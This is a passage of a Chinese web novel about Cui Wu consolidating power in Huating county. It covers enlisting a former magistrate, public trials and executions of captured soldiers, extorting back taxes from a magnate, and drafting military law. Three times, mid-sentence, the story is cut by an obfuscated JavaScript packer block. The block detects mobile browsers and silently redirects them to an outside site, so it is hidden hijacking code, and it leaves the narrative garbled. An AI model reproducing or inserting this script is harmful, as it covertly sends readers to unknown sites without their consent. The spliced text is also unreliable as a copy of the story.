“抓了好些残兵,还有原来跟着王重珂的校尉军官,也有几个被活捉了,都关在县衙大牢里,”丁钰说,“我估摸着,这些人没少捞油水,说不定还有自己的小金库,让延昭去问问,顺便将其他几个县驻守军官的行事为人也摸一摸。” 崔芜冲他比了个大拇指。 虽说古代消息传递不畅,乱世尤为如此,但华亭易主、王重珂身死的消息最多不过两三日便会传到相邻各县,到时驻扎于彼的王重珂麾下会是何反应,可就不好说了。 知己知彼,百战不殆,事先摸清对手底细无疑是必须,且十分重要的。 崔芜简单擦了把脸,照旧梳了男子发髻,带着丁钰去了县衙大牢。本以为以延昭的暴脾气,说不定已经拉开架势严刑拷问,谁知里头安安静静,既无逼供的呵斥声,也没影视剧里常见的求饶声。 转过拐角,烛光下现出延昭和一个男人身影,两人紧挨着坐在矮案前,案上摆了茶水,看着像是相谈甚欢。 崔芜略带诧异地一挑眉。 延昭首先看到她,立刻起身,手扶佩刀单膝跪地,竟是行了大礼:“主子。” 崔芜脚步微顿,不着痕迹地看向丁钰。 丁钰对她点了点头。 华亭新下,势必要分宾主,虽然那二百余新兵是延昭率领的,县城也是延昭带人拿下的,但归根结底,所有人都是听从崔芜号令办事。 她才是当之无愧的华亭主官。 一个新政权的建立,必须在第一时间确立掌权者的地位与权威,否则难以服众,政令下达也会受阻。 尤其他们的首领是一个女子。 在崔芜昏睡不醒时,丁钰已经意识到这一点,并且得到延昭的全力支持,将“改口”的指令传递给所有人。 事实证明,此举非常有必要,至少延昭身边穿着青衫长袍的男人被他态度影响,并没有因为崔芜女子的身份而有所怠慢,反而毕恭毕敬地长揖到底:“见过郡主。” 他年岁约莫三十来许,国字脸,相貌忠厚,虽面容憔悴,眉间却有一股读书人的气度。 崔芜看罢,对这位身份有了猜测:“先生是……” 青衫男人自我介绍:“回郡主,下官许思谦,原是华亭县令。” 崔芜便知自己猜得没错,这就是那个因劝谏王重珂而被丢进大牢,差一点拖出去活剐的倒霉蛋。 “原来是许县令,”崔芜笑了笑,抬手虚扶他一把,“久闻许令为人耿介、忠直不阿,今日一见,果然名不虚传。” 虽然崔芜是女子,但一个懂得尊重忠义之士的女人,总比听不进劝还以虐杀为乐趣的军阀更得人心。 许思谦叹息,再拜:“惭愧,若无郡主相救,下官已然身首异处。” “王重珂伏诛,华亭满目疮痍,正需许令这样的有能之士坐镇,”崔芜为拉拢人心,不介意给潜在下属戴高帽,“只不知华亭这些年的账簿和户籍可还有留存?” 许思谦沉默片刻:“郡主请随我来。” 崔芜来之前,已经做好了最坏的打算,大不了就是公文档案被王重珂一把火烧了,所有事项重头来过。 她没想到,许思谦居然真拿了出来。 “当初王贼占据华亭,下官预感不妙,便将多年来的册簿抄录了副本,以作留档,”他叹了口气,“想不到,还有派上用场的一日。” 崔芜接过,大致翻了翻,发现古代账簿与现代公司的账册差了不止一星半点,光是手实和计帐就够新手喝一壶的——她回忆了好半天,才勉强记得手实是“具民之年与地之阔狭”,也就是记录百姓户内人口年龄及拥有土地状况的。计帐则是“具来岁课役”,也就是写明百姓来年应承担的赋役。 至于更细致的项目,比如职田、公廨田(1),连崔芜一时半会儿都想不起是做什么用的。 “册簿只记录到去岁,”许思谦叹了口气,“自王贼占了华亭,裹挟青壮、搜刮地皮,百姓能跑的大都跑了,剩下的……唉!” 他没忍心把话说完,崔芜却大致猜到,剩下的要么是老弱妇孺,要么拖家带口,实在走不掉,只能苟一日算一日。 她真心实意地说了句:“能做成这样,许令已然尽了全力,辛苦了。” 许思谦险些热泪盈眶。 乱世人命如草芥,更有那豪强仗着手中刀、麾下兵,浑不将读书人放在眼里。像他这种前朝任命的官员,不比牛马值钱多少。 能遇到靠谱的主君,不容易。 但许思谦未敢全然放心,唯恐崔芜是个中看不中用的绣花枕头,故意问了句:“诚如郡主所说,华亭破败,诸项事宜纷繁琐碎,不知以何为先?” 崔芜看穿他貌似请示、实则试探的小心思,却没放在心上。 说到底,刚换了新上司,想试一试自己的底细斤两,也算情理之中。 “民以食为天,没什么是比粮食更紧急重要的,”崔芜道,“可恨王贼短视,裹挟青壮,以致农田荒废,实在是杀鸡取卵。” “如今已是六月,过了种植粟米的时节,但若抓紧时间,还能抢种一茬大豆。咱们再招些流民,分发田地,待到九、十月份,便可播种冬小麦和黑麦。” 数完了农事,还有武事。 “王贼虽死,他分散各县的下属却未必会善罢甘休。我命下属拟了布防条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581415|169612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈,正好许令在,等会儿帮着一起参详。” “其实乱象初定,最要紧的是人心,正好拿了些乱兵贼子,我打算明日押上街头当众公审。一则平民愤,二则定人心,三来也能让宵小之辈知道,如今的华亭县可不是王重珂那会儿,敢在我眼皮底下作奸犯科,大可来试试我崔芜的刀有多利!” 许思谦眼神闪烁,忽而起身,长揖至地。 “郡主胸有丘壑,有您坐镇,乃华亭之福,”他语出诚恳,一听便是发自肺腑,“下官不才,但凭郡主差遣。” 崔芜不动声色地松了口气。 许思谦恨透了裹挟青壮的兵丁,崔芜亦然。第二日天刚亮,俘虏的残兵就被长绳绑成糖葫芦,推去街上游行示众。 一边走,一边还有人鸣锣开道,顺带吸引百姓围观。 这招很有效,自昨夜战事打响后的阴霾被震天的锣声驱散。有人壮着胆子推开家门,见巡逻的士卒面貌齐整、军纪严明,畏惧之心当即去了三分。 队伍最前面是崔芜,照例是男装打扮,奈何她生得太好,束起头发也不难看出是个女儿家。 她刚学会骑马,挽缰在前开路,身后跟着丁钰与延昭,再往后是长长一串俘虏队伍。 动静太大,好些百姓出来探头探脑,见押解残兵的士卒没有驱赶的意思,胆子顿时大了,甚至敢对队列中的俘虏指指点点。 “快瞧,那不是糟蹋了老陈头家里二丫头的王八羔子吗?” “还真是!就前天,他还来我家打砸了一通,最后两吊钱也被抢走了!” “柱子他妈,快看,就是那小子喝醉酒,砍杀了你家当家的!” “畜生,我跟你们拼了!” 痛失亲人的百姓一边怒骂哭号,一边抄起木棒菜刀,疯了似的往前冲。崔芜带出来的新兵不敢真拔刀,只好拿刀鞘做做样子吓唬人,将冲击警戒线的乡民往外推。 崔芜打了个手势,跟在后面的岑明会意,用力敲响铜锣,哭嚎连天的乡民顿时安静下来。 “吾名崔芜,乃是先歧王之女,日后华亭上下,皆由我做主。” 崔芜没有遮掩自己女儿家的身份——反正也遮掩不住。她翻身下马,接过延昭手中佩刀,一指身后跪着的残兵:“王贼强占华亭,手下兵丁亦行了不少恶事。尔等若有亲人故旧死于这些贼子手中的,立刻指认出来,我必还你们公道!” 百姓们可不在乎“歧王姓李他女儿怎么姓崔”这等狗屁倒灶的细节,只要有人主持公道,莫说是“歧王遗女”,就算崔芜自称是“晋帝公主”,他们也照认不误。 当下便有人上前,指认出二十余个残兵,都是刀锋沾过血、手上留有命案的。崔芜也不含糊,当着百姓的面命人砍了,着实大快了一把人心。 到最后,空地上倒了一片尸首,鲜血汇聚成泊,只有寥寥十余人还跪着。 再无人指认,百姓们瞧着剩下的几个残兵,虽也用手指点着,脸上却奇异地没多少愤怒。 片刻后,有上了年纪的老人站出来,对崔芜颤巍巍作揖:“这位……娘子,小老儿跟您讨个情,且放了这几位军爷吧。” 崔芜好奇:“为何?” “小老儿膝下单薄,就一个独子,当初险些被那姓王的拉了壮丁。兵丁来抢人时,是这位军爷帮着说了几句好话,才留下我儿子一条命,”老人家说,“他没做过伤天害理的事,是以小老儿斗胆,求您开恩。” 他话音落下,又有三四个乡民站出来,或是妇孺,或是老人,都是被那汉子救过性命。 崔芜来了兴趣,踱到那蓬头垢面的汉子身前,用马鞭一勾他下巴:“你,抬起头来。” 汉子依言抬头,看年岁也就二十来许,脸上又是灰土又是血迹,看不清样貌。 崔芜:“你是哪里人?叫什么名字?” 汉子眼神闪烁:“卑职原是凤翔人,姓韩,单名一个筠字。” 崔芜扫过他身后:“这些都是你带出来的兵?” “郡主明察。”韩筠很是上道,见崔芜似没有杀意,当即改了口,“卑职原属镇野军麾下,当初王重珂据了华亭,裹挟青壮盘剥百姓,卑职无力阻止,却也不想同流合污,只得尽己所能做些善事。” 崔芜挑眉:“既然看不惯,为何不弃了王贼,改投明主?” 韩筠深深叹息:“世道纷乱,哪里都一样,改投又能投去哪?” 他说完,瞧了面前女子一眼,忽然福至心灵。 “若蒙郡主不弃,卑职甘愿投入王军麾下效力,还请郡主开恩收留!” 言罢,深深顿首。 崔芜玩味着“王军”两个字,笑了。 33. 第三十三章 哭穷 韩筠出身镇野军,正经的队正,当年还曾跟着狄斐义父抗击过南下进犯的定难军。 这等履历,于崔芜是得用的人才,旁人看来却不怎么入眼。好比临街茶铺上坐着的两人,就对韩筠横挑鼻子竖挑眼。 “前晚巷战,我跟这姓韩的交过手,功夫也就那样,”颜适啧了声,随手捞起一个粗陶茶碗,抛上半空再轻轻接住,“这种货色去了咱们安西军,连个校尉都捞不上,也就华亭小地方,姓崔的丫头无人可用,才当宝贝似的。” 这话虽不中听,却也中肯。崔芜白手起家,能用的人不多,好容易逮着一个军官,当然要物尽其用。 一旁的秦萧没说话,端起茶碗饮了口。 不是什么好茶,如今世道不好,江南茶叶极少运到北方。城外野树新生的嫩芽,随便揪一把炒熟了,再用滚水冲开,便能充作解渴的“茶水”。 幸而这二位久在军中,又是西北那等苦寒之地,对吃穿用度并不在意,拿滥竽充数的“野茶”送新出锅的胡饼,依然吃得有滋有味。 颜适咽下口中饼子,拿眼瞧着自家少帅,只见秦萧低垂眼帘,仿佛全心全意品尝野茶滋味。 但颜适跟在秦萧身边多年,如何不知他方才看似漫不经心,实则目光一直有意无意地追随着人群中的崔芜? 想起当初党项营地见闻,颜适忽然冒出一个极大胆的念头:“少帅,你怀里揣着的荷包……不会是那姓崔的丫头的吧?” 秦萧:“……” 他神色平静,仿佛只是就事论事:“她自称‘歧王遗女’,便是打算借着先歧王的名号收拢人心,你日后说话留神些,别叫人抓住把柄。” 态度自然,言之有物,听上去再正经不过。 只是绝口不提怀里的荷包到底是不是人家姑娘的。 颜适摸着下巴,眼珠好像活了似的,绕着秦萧面孔来回打转。 秦萧留意到他的注视,眼风扫来。 颜适干咳:“昨日你与那姓崔的……咳咳,郡主闲聊时,我去寻了丁家六郎,与他说了会儿话。” 秦萧对“丁家”没什么好印象,虽然落水之际,丁家人曾施以援手,那丁三郎却打上崔芜的主意,还想借纳聘之名将人夺了去,当作稀罕礼物送与北地豪强。 人品低劣,可见一斑。 不过丁三郎是丁三郎,丁六郎是丁六郎,此人既得崔芜信任,从汴梁一直跟到陇州,必有过人之处,秦萧没打算将这兄弟俩混为一谈。 “说了什么?” “问了他们巷战时用的阵型,”颜适咬了口胡饼,被麦麸和石子硌了牙,皱眉“呸呸”好几下,“原以为是从胡人那儿偷师来的,再不济也是姓狄的小子捣鼓出来的,结果你猜怎么着?” 秦萧面无表情:“你说书呢?” 颜适悻悻,不敢再卖关子:“是崔郡主想出来的,亲手画的图纸,手把手带着新兵演练,训练不过半个月就上了战场,还真干翻了华亭县城的五百驻军。” 当然,这五百人马里有相当一部分是裹挟来的青壮地痞,没什么战斗力。饶是如此,这支新军的水准和潜力也很是可观。 或者说,这支队伍有一个潜力相当可怕的“主帅”。 “还有还有,”颜适眼睛发亮,“我昨日去县衙议事堂转悠了一圈……” 秦萧打断他:“你昨日到底去了多少地方?” 颜适继续咳嗽:“咳咳……这不是看你和人家郡主相谈甚欢,不好打扰,只能自己闲逛打发时间呗。” 秦萧神色淡淡:“你接着说。” “刚一进去我就吃了一惊,那堂上挂着一幅舆图,绘的是从关中到河西的山川地貌,甚至比咱们军中那幅还大还详细,”颜适用手比划着,“我问丁小六,这舆图哪来的,你猜他怎么说?” 颜小将军习惯使然,但凡说事,势必要带出说书腔。不过这一回,秦萧没心思怼他,心念电转,冒出一个连自己都觉得荒谬的猜测:“莫非也是郡主得来的?” 颜适一拍大腿:“可不是!还是郡主亲手所绘,恐怕连南带北加起来,也就这么独一份!” 秦萧:“……” 也许是崔芜带给他的惊讶和震撼太多太频繁,他居然一点也不吃惊,反而有种“本该如此”的感觉。 “会练兵,懂军阵,能绘制舆图,还会治金簇伤,”颜适眼睛从没这么亮过,“这女人真是先歧王养在外头的女儿?李家人得烧多少高香,才生出这么一个女儿啊!” 当然不是! 但秦萧也不可能把崔芜那点黑历史倒给颜适,太不厚道、太不是东西了,只含混道:“先歧王若有这个运道,也不至于被人篡权夺位。” 颜适目光闪烁,忽然凑近少许,压低声问:“少帅,你有没有想过……” 秦萧打断他:“想过。” 颜适先是愕然:“我还没说完,你怎知道想什么?” 而后反应过来,越发兴奋:“若能说动她随咱们回河西,旁的不说,至少受伤的将士们能多救回几个。” 秦萧摇头:“她不会答应的。” 颜适不解:“少帅这趟入关,不是特地寻她来着?我还以为你俩一早相识,颇有交情。” 猜得不算错,只是…… 秦萧抬眸,只见被众人簇拥的纤细身影重新上马,往县衙去了。 他沉默片刻,轻轻一叹。 “她这般性子,既凭自己的本事走到这里,便再不会屈居人下。” *** 秦萧与崔芜相识算不上久,了解却称得上鞭辟入里。 崔芜确实不打算再仰人鼻息,早在江南时,她就受够了被人当成鸟雀玩意儿一样囚困摆布,北上的一路见闻更是持续强化这一念头。 如今好容易当家作主,哪怕兵将不多、地盘不大,好歹能自己说了算,她怎可能再给自己找个爹供着? 吃饱了撑的不成! 回了县衙,崔芜把自己手底下的人都叫上,其中甚至包括刚投诚的韩筠和许思谦,在议事堂里召开了“崔氏有限公司”成立以来的第一次股东……划去,参谋会议。 讨论事项,主要是该公司未来的发展路径与走向规划。 “首先是安民生,除此之外,招兵扩军也是迫在眉睫,”崔芜给会议定了基调,“华亭县内的青壮被姓王的祸害得差不多,不能加重百姓负担,既然闲置的民居和城外荒地不少,干脆打出旗号接纳流民,既可扩充军队,亦能开垦田地。” 不管哪朝哪代,人口都是重中之重,当年刘备遭曹操讨伐,被迫向江陵逃亡,如此狼狈都不忘携百姓赶路,“人和”的重要性可见一斑。 “招兵之事交由延昭和韩筠,”用人不疑疑人不用,崔芜既接纳了韩筠,便不会让他闲着,“至于稳定人心、重整民生,还需许令多上心。” 被点到名的三位依次应了,心思却颇有不同。 韩筠乃败军之将,脚跟尚未站稳,并不着急刷存在感.许思谦却是书生意气,没那么多想头,张嘴便道:“郡主所言甚是,若无强兵,就算死了个王重珂,也难免遭旁人觊觎。” “可扩军需要粮草,更别提武备兵甲。以华亭如今的库存,支应这一冬都难,上哪弄这么多粮饷军备?” 别说,这话还真问到点子上了。 从古至今,粮草一直是养兵的难点,解决不了这个问题,再恢弘的蓝图规划都是空中楼阁,落不到现实。 崔芜当然不会忽略这个难题,甚至还未攻克华亭前,便与丁钰商量了好几回。 “单凭华亭官仓当然无法支应,”她说,“不过,王重珂鱼肉百姓这么久,倒也不是没有好处。” 她冲丁钰使了个眼色,后者会意,从怀里掏出一本账簿,递给许思谦。 许思谦随手翻了翻,胡须开始颤抖:“这是……王重珂这些年搜刮的?” 王重珂手段狠辣,杀人如此,搜刮地皮也毫不含糊。延昭与丁钰联手,好不容易从俘虏的残将口中撬出这本账簿所在,再寻到王贼收存粮食财物的仓库,打开一看,好家伙,竟赶得上华亭县城两年税赋。 这是崔芜敢提增兵的底气,但还远远不够。 “王重珂盘踞此地足有两三年,将百姓祸害得不成样子,这些粮食不能都应用于军中,得提前预留数额,以作过冬之需,”崔芜点了点丁钰,“你跟许令估个数出来,回头报给我。” 两人同时答应,许令又道:“如此须得重新登记城中人口,毕竟这些年,死得死逃得逃,册簿皆是两年前的,许多已然对不上。” 崔芜:“那就重新登记,顺带将土地也丈量了,方便之后分发给流民。” 她一边说,一边在草纸订成的“备忘录”上记下待办事宜,末了笔杆一点韩筠:“陇州除华亭外,另有吴山、汧阳、汧源三县,城中有何豪强大族?守军将领性情如何?有可能招降吗?” 韩筠便知,这是自己此次与会的重头戏。 “禀郡主,陇州最大的豪族姓蒋,郡主……唔,大约已经见过了。” 堂内的氛围变得有些微妙。 崔芜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586809|169612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非但见过,那蒋老爷甚至打着将她送给王重珂换取减轻税赋的主意。当然,于崔芜而言,此举正中下怀,还省了她费尽心机接近王重珂。 可蒋老爷并不清楚这一点。 王重珂遇刺时,他亦在东厢接受酒食款待,冷不防听说后院着火,三魂当场惊没了七魄。本想趁乱逃跑,谁知时运不济,被巡逻的兵丁逮了个正着,若不是岑明恰好撞见,顺手捞了他一把,死于乱军之中的冤魂又要多上一条。 “吴山没有县令,就是几家豪族做主,领头的便是这个姓蒋的,”韩筠说,“他把亲女儿嫁给驻守吴山的校尉,有这么个女婿在,总比旁人多几分脸面。” 崔芜对动不动拿女儿当筹码的老男人不屑一顾,却知世道如此,有些想法只能埋在心底,没法表露出来:“这个校尉是何许人?” “此人出身天水姜氏旁支,对王重珂也颇看不过眼。王重珂对其不满,才把人远远调去吴山镇守,”韩筠大着胆子瞧了崔芜一眼,见她似有沉吟,于是试探道,“依卑职之见,郡主不妨命蒋家主休书一封,送与吴山守将。他为人刚直,若肯主动投诚,岂不皆大欢喜?” 崔芜也是这么想,当即命人将蒋老爷带来。那姓蒋的在县衙大牢蹲了一宿,胆儿都快吓破了,只知道王重珂身死,却不知替代他的是何方势力。 如今来到堂上,见之前被他送与王重珂的女子男装打扮,端坐堂前,一派说话算话的模样。他膝弯一软,没等近前就扑倒在地,接连磕了十来个响头:“奶奶饶命!奶奶饶命!小人有眼不识泰山,求奶奶放我一马!” 崔芜懒得计较称呼,只将自家来历简单说了,又命他写信送与吴山守将。 蒋老爷听说不是与他算旧账,欢喜得快疯了,一叠声应下:“奶奶……不是,郡主放心!小人这就给我那贤婿写信,他若知晓是郡主娘娘据了华亭,必欢喜来投!” 崔芜意味深长地笑了笑:“先别忙着谢,我还有一事。” 蒋老爷殷勤赔笑:“郡主娘娘请说。” 崔芜曲指敲了敲案沿,满堂都是清脆的呼应声:“听说吴山没有正经县令做主,一向都是你代管着?旁的我也不多要,往前数两年的税粮,你想法子给我补上。” 蒋老爷不知是谁将他的底细曝出,心里暗自将那人骂了个头臭。 嘴上却装可怜:“好叫郡主娘娘知道,自王贼据了华亭,三天两头管咱们要债,吴山地皮都被他刮薄了三尺,您看……” 崔芜不屑与他掰扯,只瞧了丁钰一眼。 后者会意,从怀里掏出几张纸,往桌上一拍:“在下与郡主连夜算了吴山这些年的税粮,又与王重珂库中所余做了比对,他盘剥你们不假,但你敢拍着胸口说,自己就没留一手?” 华亭是陇州治所所在,许思谦拿出的不止是华亭一县簿册,其余三县亦在其列。 崔芜和丁钰便是以吴山过去十年税粮均数为基础,估算出过去两年的应缴数目,虽未必符合实际,却也相差不远。 不管学理还是学医,数学都是一道绕不过去的坎,当年觉得麻烦费神,却不想会在一个做梦也料不到的场合派上用场。 蒋老爷敢哭穷,就是拿捏崔芜初来乍到不了解内情。谁知这女子看着年轻,心里却是门清,一笔笔账目算得通透敞亮,白纸黑字摆在面前,叫他无话可说。 “蒋老丈许是不太了解我的脾气。” 只听“呛啷”一声,崔芜拔出随身匕首——这还是从秦萧手里敲来的,狄斐看过,说是上好的龟兹钢,也就是后世的“大马士革钢”打造。钢材表面有一种特殊的花纹,使刀刃在微观上形成锯齿。 用人话翻译过来,就是这种钢打造的刀剑更锋利,也更珍贵。 “我不爱玩虚的,有什么话都敞开来说。我不会像姓王的一样,做些杀鸡取卵的蠢事,凡事留一线,日后好相见,这个道理我很明白。” “可但凡我张了嘴,那就是仔细评估过,在你能力范围之内。若是有人推三阻四,妄图拿些瞎话搪塞我……” 崔芜冷冷一笑,突然调转手腕,匕首“嗤”一下刺入案板,丝滑好似刀切豆腐,直接没至刀柄。 蒋老爷突地打了个哆嗦,仿佛那一下是捅在自己胸口,里外透心凉。 “我的刀也不是没杀过人,王重珂能干的,我未必干不出来!” 蒋老爷猛出冷汗,再不敢耍花样:“不敢不敢,小人再不敢了!” 他连滚带爬地下去写信。 五日后,吴山守将打开城门,吴山亦归于崔芜麾下。 34. 第三十四章 治军 短短半月便连下两县,于刚出菜鸟村的新手而言不能不说是巨大的成功和鼓舞。 但崔芜不敢掉以轻心,因为连克两城,意味着两县万余户人的吃穿住行也全都压在她肩上。 更不必提,左邻右舍没一个省油的灯,稍有不慎,刚到手的地盘兴许就被人抢了去。 正因如此,崔芜前脚接到吴山守将信件,后脚就把韩筠叫了来。 “汧阳守将与卑职有些交情,卑职亦略知其为人。” 韩筠知道崔芜唤自己来的用意,不必她询问,就把自己知道的一一说出:“他没多大野心,若非逼到极处,不会兴兵来犯。但郡主若想将其收为己用,以现下的实力,怕是还不够。” 崔芜懂了:“这人聪明,更有傲气,看不到前景的东家,不配让他俯低屈就?” 韩筠默认了。 “行,那就先放着。”崔芜倒不急着将人收为己用,手里的两座县城足够她消化一阵,“那汧源守将呢?” 韩筠欲言又止。 崔芜:“不必有顾虑,但说无妨。” “卑职人在华亭,对汧源所知并不详细,只是最近数月隐隐听到风声,凤翔伪王似乎新得了一美人,宠得不行,连王妃和嫡亲的世子都盖了过去,”韩筠吞吞吐吐,“那美人,据说是从汧源出去的。” 崔芜扬眉,领会了他的暗示。 “你的意思是,汧源守将早就跟伪王暗地里勾搭上了?”她思忖着,“这可有点不好办,汧源有多少驻军?会攻打华亭吗?” 韩筠:“这个郡主可以放心,汧源守将我见过,是个八面玲珑的人。献美未必是真心投靠,不过是给自己留条后路。” “郡主诛灭王重珂,于他们是敲山震虎。且他手里兵力不多,统共百余人,怎么舍得拿来打水漂?是以短时间内,不会有太大动作。” 当然,时间长了谁也说不准。 但是对崔芜而言,已经足够了。 既是一时半会儿没有外敌来犯的危险,她命许思谦斟酌了县令人选,派往吴山主持民生。同行的除了临时凑出的师爷主簿,还有一百新兵,为首这正是夺城一役中表现出色的岑明。 此外,她把蒋老爷也放了回去:“吴山是我地盘,我的人说了算。他若敢不规矩,你差人告诉我,我亲手斩了他。但除我之外,吴山地界,没人越过他去,可听明白了?” 蒋老爷见识了崔芜杀王重珂的狠辣,不敢怠慢,连连点头:“听明白了!一切听凭郡主酿酿吩咐!” 崔芜满意了,又对岑明道:“吴山守将既肯投诚,必要做个榜样。县城虽得在咱们掌控之中,行事却不妨柔和些,宁可润物无声,也莫要平白招来敌人。” 岑明心领神会:“郡主放心,都是镇野军出身,同气连枝,必不会生出龃龉。” 和聪明人说话就是轻松,崔芜笑了:“你是狄将军倚重的心腹,办事定然老成。” 又道:“按前朝军制,校尉所统兵丁应为两百人,只给你一百是寒碜了些,等咱们招了新兵,再补上。” 岑明腔子里的心脏剧烈鼓噪。 他在狄斐麾下时虽得看重,却只是一亲兵,若要升迁,须从什长开始,经伙长、队正方能升到校尉,期间不知要耽搁多久。 如今换到崔芜手下,不过一句话,就坐上按部就班少说得熬两三年的位置。虽说手下兵力不足,可岑明见识过崔芜拿下华亭的手段,也旁听了她与许县令和蒋老爷的交锋,丝毫不怀疑,只要多给些时间,这位郡主娘娘必能让自己这个校尉名副其实。 “多谢郡主器重。” 岑明抱拳,心中不是没有对狄斐的歉疚,却又被自己强压下——崔芜打出的旗号是“歧王郡主”,他隶属的镇野军却是歧王嫡系。 按名分说,连狄斐都算作她下属。 自己效忠主君,合情合理,无可指摘。 另一边,崔芜也很高兴。还是那句话,她手下能用的人太少了,岑明武艺好,又懂兵事,能改投她门下,无疑是一大臂助。 事实上,她很想把赵行简也一并收了,奈何这位原是狄斐义父麾下,一开始是认准了赵光盈,待得赵都尉去后,又对狄斐忠心不二。 人各有志,崔芜不为难他。况且她可没打算跟狄斐闹翻,人家统共派了两个亲兵过来,都被自己薅走,确实有些不太好看。 因此她给赵行简派了任务,从王重珂的库房中调拨了一批粮草药材送回萧关,顺便帮忙将真正的歧王遗孤和姓荀的乳母接来。 东西不多,却能解镇野军的燃眉之急,也让狄斐知道,他舍出两百新兵和一个心腹亲卫,换来的这笔交易不算亏。 有来有往,方能长久,没准什么时候,盟友就处成自家人了。 不过说到“盟友”,崔芜真正眼馋的还是隔壁那位。 毕竟,论战力精锐,以她自南而北的见闻,还没有堪与安西军匹敌的。 可惜,她最想得到的,偏偏是最不可能染指的。 心塞! 然而崔芜没那么容易放弃,她若没这股韧劲,也不可能从孙氏的掌控中逃出,一路干翻各方势力,最后据了华亭县城。 于是这一日,崔芜将人请到军营,明面上的由头是现场演示鸳鸯阵,请秦萧指点。 秦萧与颜适都对鸳鸯阵颇感兴趣,欣然前往。 如今的华亭驻军已不是王重珂在时模样,这些时日,远近流民听说华亭变故,好些走投无路的,拖家带口赶来投奔。 崔芜来者不拒,于城门口专门设了一道关卡,登记流民姓名、年貌、祖籍、擅长手艺及家中人口,登记完了现场安排住处耕田,并且声明,只需在华亭耕种满三年,便可获得华亭户籍,田地亦归属自己所有。 如今的世道,大户豪强恨不能将土地捏手心里,哪有给百姓分地的好事?围在门口的流民简直不敢相信自己耳朵,与负责安顿流民的官员再三确认。 可巧负责这事的就是丁钰,闻言,他笑眯眯地,问什么答什么,显得相当好脾气。 “不错,只要种满三年,田地就归自己。” “前三年三十税一,待得三年期满,如何调整税赋得听咱们郡主的。” “什么,您不知咱们郡主是谁?我告诉你们,郡主乃是先歧王遗脉。如今伪王篡位,祸乱乡里,咱们郡主正要拨乱反正,还百姓一方朗朗乾坤。” “瞧见那边的告示了没?郡主正在征兵,我瞧这位大哥孔武有力,要不要去试试?试训期三个月,参训期内,每个月都有粮食粟米拿,还能分得布匹。若是入选,待遇还要更好,新兵一个月的军饷也有五百钱,若想换成粮食布匹捎给家里也成。” 流民被各方势力盘剥怕了,唯恐这么好的条件背后藏了阴谋。然而丁钰直接将粮食和布匹摆在城门口,但凡有人登记入伍,当即获发粮食一袋,麻布一匹。 布袋解开,里头满满当当,流出的尽是金黄粟米。虽不多,却足够支应一家老小一月所需。 于成日里在生死线上徘徊的流民而言,这几乎是活命之恩! “多谢郡主!多谢郡主!”获发粮食的流民喜得说不出话,他也不知“歧王”和“郡主”是何物件,只是听丁钰这么说了,便当场跪倒,一边砰砰磕头,一边高呼“郡主仁德”。 有了前面的例子,后来者源源不断。尤其当流民们听说,军营就在城郊,离他们获分的房子不远,且一月有一日休沐,可回家探亲时,越发没了顾虑。 可惜僧多粥少,第一批征兵统共只招八百人,为了抢最后一个名额,几个年轻力壮的流民险些打破头。 这是胡萝卜。 崔芜深谙恩威兼施的道理,甜头给了,大棒也早准备好。 新兵入伍第一日,军营门口就立了块削平的木板,上书新出炉的军法条律。若有不识字的也无妨,木板旁站着军法官,一遍一遍向新兵重复。 “尔等都听好了,咱们可不是什么土匪寇贼,你我从军,是博自家富贵,更是为护一方百姓平安!自古无规矩不成方圆,现有军法三十二条,须得牢记于心,严格遵从。” “其一,草菅人命,滥杀百姓者斩!” “其二,淫辱良家,□□妇女者斩!” “其三,擅闯民宅,劫掠财物者斩!” “其四……” 秦萧带着颜适下马时,新兵正在军法官的带领下一条条诵读军法。三遍读完,军法官又道:“可要好生记下,往后每月十五抽查,答不上来者,罚军棍五记!” 新兵哗然,有人便道:“咱们又不识字,这许多字,谁记得住?” “记不住便问人,不识字也可以学,连这点困难都克服不了,如何上战场!”军法官冷冷环视新兵,又道,“若是抽背者表现优异,当日晚饭有肉汤!” 新兵们多是流民出身,打从生下来就没吃过几顿饱饭,听说有肉吃,立马不吭声了。 颜适饶有兴味地瞧着,末了点了点头:“流民不比精兵,刚入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594063|169612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行伍,武艺生疏还在其次,纪律散漫才是最要命的。崔郡主能想到这一点,于领兵上还算有点天份。” 秦萧凉凉睨他:“原来你也知道纪律散漫是大忌。” 颜适:“……” 他想起自己几次三番“将在外军令有所不受”,脸上挂不住,嘴巴偏要逞强:“他们能跟我比吗?我久在军中,最清楚迎敌之机稍纵即逝,等他们像我一样,手里攒了百八十条人命,再谈旁的不迟。” 秦萧听罢,难得没数落他,眉间压着一段沉郁。 颜适不解其意,只听自家少帅沉沉道:“若还是前朝年间,似你这般年纪,本该在书院求学。即便从军,也不必成日里刀头舔血,与胡虏搏命。” 